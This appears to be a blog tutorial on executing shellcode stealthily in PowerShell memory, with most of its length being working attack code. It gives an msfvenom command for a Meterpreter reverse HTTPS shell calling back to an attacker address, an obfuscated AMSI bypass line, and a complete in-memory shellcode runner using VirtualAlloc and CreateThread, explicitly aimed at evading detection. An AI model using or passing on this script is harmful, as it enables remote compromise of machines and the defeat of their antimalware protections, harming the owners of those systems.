Executing PowerShell Shellcode in Stealth: A Diskless Approach Using UnsafeNativeMethods and Dynamic Memory Allocation

Adithyan Arun Kumar Avatar

·

·

Executing PowerShell Shellcode in Stealth: A Diskless Approach Using UnsafeNativeMethods and Dynamic Memory Allocation

PowerShell is a versatile scripting language commonly used for system administration, automation, and penetration testing. In certain scenarios, executing shellcode in memory without touching the disk can be advantageous, especially for evading detection and maintaining stealth. However, traditional methods like Add-Type can leave residues on the disk, potentially alerting vigilant security measures. In this tutorial, we’ll explore a method to run PowerShell shellcode without relying on Add-Type, leveraging UnsafeNativeMethods for dynamic function address lookup.

Features of the Approach:

  • No Disk Residues: Unlike Add-Type, which creates C# residues on disk by generating .cs and .dll files, this method operates entirely in memory, leaving no traces on disk.
  • Dynamic Lookup: Leveraging UnsafeNativeMethods, we can dynamically obtain the addresses of Win32 API functions such as GetProcAddress and GetModuleHandle, enabling us to execute shellcode without relying on pre-existing assemblies.

Payload Generation:

Before diving into the PowerShell code, let’s first generate the shellcode payload. We’ll use Metasploit’s msfvenom to generate a Meterpreter reverse HTTPS payload:

Copied!
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1

This command generates the shellcode in PowerShell format, ready to be embedded into our script.

Shellcode Runner Script:

Now, let’s delve into the PowerShell script run.ps1 that executes the shellcode without using Add-Type. We’ll break down the script step by step.

1. Bypassing AMSI:

The first line of our script is responsible for bypassing AMSI (Antimalware Scan Interface) by modifying a static field in the System.Management.Automation assembly.

Copied!
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

2. Helper Functions:

Next, we define two helper functions:

LookupFunc:

This function dynamically looks up the address of Win32 API functions such as GetProcAddress and GetModuleHandle.

Copied!
function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp = @() $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } } return $tmp[0].Invoke($null, @( ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName )) }

getDelegateType:

This function defines a delegate type for invoking Win32 API functions.

Copied!
function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() }

3. Memory Allocation and Shellcode Injection:

After defining the helper functions, we allocate memory and copy the shellcode into it.

Copied!
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) [Byte[]] $buf = # Shellcode goes here [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

4. Thread Creation and Execution:

Next, we create a new thread to execute the shellcode.

Copied!
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

5. Waiting for Thread Completion:

Finally, we wait for the thread to finish execution.

Copied!
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

6. Full Code:

Copied!
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp = @() $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } } return $tmp[0].Invoke($null, @( ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName )) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) [Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0... [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Leave a Reply

Your email address will not be published. Required fields are marked *